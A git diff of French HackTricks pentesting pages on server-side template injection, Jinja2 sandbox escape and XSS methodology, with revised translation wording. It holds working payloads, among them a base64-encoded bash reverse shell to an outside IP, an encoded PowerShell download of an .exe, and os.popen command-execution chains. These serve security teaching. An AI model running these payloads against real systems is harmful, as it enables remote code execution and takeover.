* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
|
@ -584,7 +589,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) moteur de modèle PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) moteur de template PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -597,6 +602,7 @@ Hello {NAME}.<br/>
|
|||
</patTemplate:tmpl>
|
||||
```
|
||||
**Plus d'informations**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
@ -640,14 +646,14 @@ URLencoded:
|
|||
|
||||
| **Modèle** | **Description** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Évaluer et afficher la sortie |
|
||||
| | Évaluer et afficher la sortie |
|
||||
| | Évaluer et afficher la sortie encodée en HTML |
|
||||
| | Commentaire |
|
||||
| et | Autoriser le code (désactivé par défaut) |
|
||||
| | Commentaire |
|
||||
| et | Autoriser le code (désactivé par défaut) |
|
||||
|
||||
* \= 49
|
||||
|
||||
**Côté client**
|
||||
**Côté Client**
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
@ -721,7 +727,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Consultez la page suivante pour apprendre des astuces sur **l'exécution de commandes arbitraires en contournant les sandbox** en python :
|
||||
Consultez la page suivante pour apprendre des astuces sur **la contournement de l'exécution de commandes arbitraires en contournant les sandbox** en python :
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -743,10 +749,12 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Plus d'informations**
|
||||
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
@ -772,6 +780,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -819,6 +828,7 @@ x=os.popen('id').read()
|
|||
${x}
|
||||
```
|
||||
**Plus d'informations**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
@ -832,9 +842,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Code C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable dans [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Plus d'informations**
|
||||
|
||||
|
@ -866,7 +876,7 @@ Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby.
|
|||
```
|
||||
### SSTI en GO
|
||||
|
||||
Dans le moteur de template de Go, la confirmation de son utilisation peut être effectuée avec des charges utiles spécifiques :
|
||||
Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des charges utiles spécifiques :
|
||||
|
||||
* `{{ . }}` : Révèle la structure des données en entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer.
|
||||
* `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti".
|
||||
|
@ -874,14 +884,15 @@ Dans le moteur de template de Go, la confirmation de son utilisation peut être
|
|||
|
||||
**Exploitation XSS**
|
||||
|
||||
Avec le package `text/template`, les attaques XSS peuvent être directes en insérant la charge utile directement. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cet encodage :
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
Avec le package `text/template`, les attaques XSS peuvent être directes en insérant la charge utile directement. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de modèles en Go peuvent contourner cet encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copier le code
|
||||
|
||||
**Exploitation RCE**
|
||||
|
||||
L'exploitation de RCE diffère significativement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans `html/template`. La documentation de ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
|
||||
Pour RCE via SSTI en Go, les méthodes des objets peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné :
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -915,7 +926,7 @@ Si vous pensez que cela pourrait être utile, lisez :
|
|||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## Liste de détection de force brute
|
||||
## Liste de détection par force brute
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
|
@ -935,12 +946,12 @@ Si vous pensez que cela pourrait être utile, lisez :
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -30,7 +30,7 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### **Débogage**
|
||||
### **Déclaration de débogage**
|
||||
|
||||
Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
||||
```python
|
||||
|
@ -41,6 +41,7 @@ Si l'extension de débogage est activée, une balise `debug` sera disponible pou
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Afficher toutes les variables de configuration**
|
||||
|
@ -56,14 +57,15 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
## **Injection Jinja**
|
||||
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'environnement **non-sécurisé mais sont accessibles depuis le bac à sable**.
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
|
||||
|
||||
### Accès aux objets globaux
|
||||
|
||||
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'environnement **sécurisé**.\
|
||||
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\
|
||||
De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sécurisé**, ce sont:
|
||||
```
|
||||
[]
|
||||
|
@ -77,9 +79,9 @@ request
|
|||
|
||||
Ensuite, à partir de ces objets, nous devons accéder à la classe : **`<class 'object'>`** afin de tenter de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**.
|
||||
|
||||
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
|
||||
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous devons **appeler** **`__subclasses__()`**.
|
||||
|
||||
Vérifiez ces exemples :
|
||||
Consultez ces exemples :
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -114,15 +116,16 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Échappement de l'exécution de code à distance (RCE)
|
||||
### Évasion de RCE
|
||||
|
||||
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
|
||||
|
||||
L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux rien qu'en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
|
||||
L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
|
||||
|
||||
**Lire/Écrire un fichier distant**
|
||||
```python
|
||||
|
@ -147,7 +150,7 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
|
|||
|
||||
|
||||
```
|
||||
Pour en savoir plus sur les **classes supplémentaires** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
|
||||
Pour en savoir plus sur **davantage de classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -183,6 +186,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
* [**Retournez ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Retournez ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -220,6 +224,7 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
## Injection Jinja sans **\<class 'object'>**
|
||||
|
||||
|
@ -276,14 +281,14 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Méthodologie
|
||||
|
||||
1. Vérifiez si **une valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du code **JS**.
|
||||
1. Vérifiez si **n'importe quelle valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du code **JS**.
|
||||
2. **Trouvez le contexte** où elle est réfléchie/utilisée.
|
||||
3. Si **réfléchie**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez la charge utile :
|
||||
|
@ -17,21 +17,21 @@ Si vous êtes intéressé par une **carrière en piratage** et que vous souhaite
|
|||
2. Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole `javascript:` ?
|
||||
3. Pouvez-vous contourner les protections ?
|
||||
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), vous pourriez exploiter une [**Injection de Modèle Côté Client**](../client-side-template-injection-csti.md).
|
||||
5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection de Balisage Suspendu - Injection HTML sans script**](../dangling-markup-html-scriptless-injection/) ?
|
||||
5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection de Balisage Suspendu - Injection de HTML sans script**](../dangling-markup-html-scriptless-injection/) ?
|
||||
2. À l'intérieur d'une **balise HTML** :
|
||||
1. Pouvez-vous sortir du contexte HTML brut ?
|
||||
1. Pouvez-vous sortir vers le contexte HTML brut ?
|
||||
2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
|
||||
3. L'attribut où vous êtes piégé prend-il en charge l'exécution JS ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
3. À l'intérieur du code **JavaScript** :
|
||||
3. À l'intérieur du **code JavaScript** :
|
||||
1. Pouvez-vous échapper à la balise `<script>` ?
|
||||
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
|
||||
3. Vos entrées sont-elles dans des littéraux de modèle \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. Fonction **JavaScript** en train d'être **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex.: `?callback=alert(1)`
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **XSS DOM**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par une faille**.
|
||||
1. Vous pourriez exploiter un **XSS DOM**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par une faille.**
|
||||
|
||||
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
|
||||
|
||||
|
@ -44,23 +44,23 @@ Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de conna
|
|||
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
|
||||
|
||||
* **Réfléchie de manière intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
|
||||
* **Stockée et réfléchie** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
|
||||
* **Accédée via JS** : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **XSS DOM**.
|
||||
* **Stockée et réfléchie** : Si vous trouvez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
|
||||
* **Accédée via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **XSS DOM**.
|
||||
|
||||
## Contextes
|
||||
|
||||
Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoir est **où votre entrée est réfléchie**. En fonction du contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.
|
||||
Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoir est **où votre entrée est réfléchie**. Selon le contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.
|
||||
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
Gardez également à l'esprit [l'Injection de Modèle Côté Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur de l'attribut des balises HTML
|
||||
### À l'intérieur des attributs des balises HTML
|
||||
|
||||
Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
|
||||
|
||||
1. De **sortir de l'attribut et de la balise** (ensuite vous serez dans le HTML brut) et créer une nouvelle balise HTML pour abuser : `"><img [...]`
|
||||
1. De **sortir de l'attribut et de la balise** (ensuite vous serez dans le HTML brut) et créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez sortir de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), en fonction de la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
@ -75,7 +75,7 @@ Dans ce cas, votre entrée est réfléchie entre les balises **`<script> [...] <
|
|||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* L'**encodage Unicode** fonctionne pour écrire du **code JavaScript valide** :
|
||||
* L'encodage **Unicode** fonctionne pour écrire du **code JavaScript valide** :
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -100,11 +100,11 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur
|
|||
|
||||
Dans le cas où c'est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points de terminaison **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
|
||||
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM**:
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
|
||||
Certaines fonctions utiles pour cela :
|
||||
Certaines fonctions utiles pour cela:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
|
@ -124,7 +124,7 @@ Par conséquent, afin d'**exploiter cette vulnérabilité dans un DOM différent
|
|||
|
||||
### DOM
|
||||
|
||||
Il y a du **code JS** qui utilise de manière **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
|
||||
Il y a du **code JS** qui utilise de manière **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
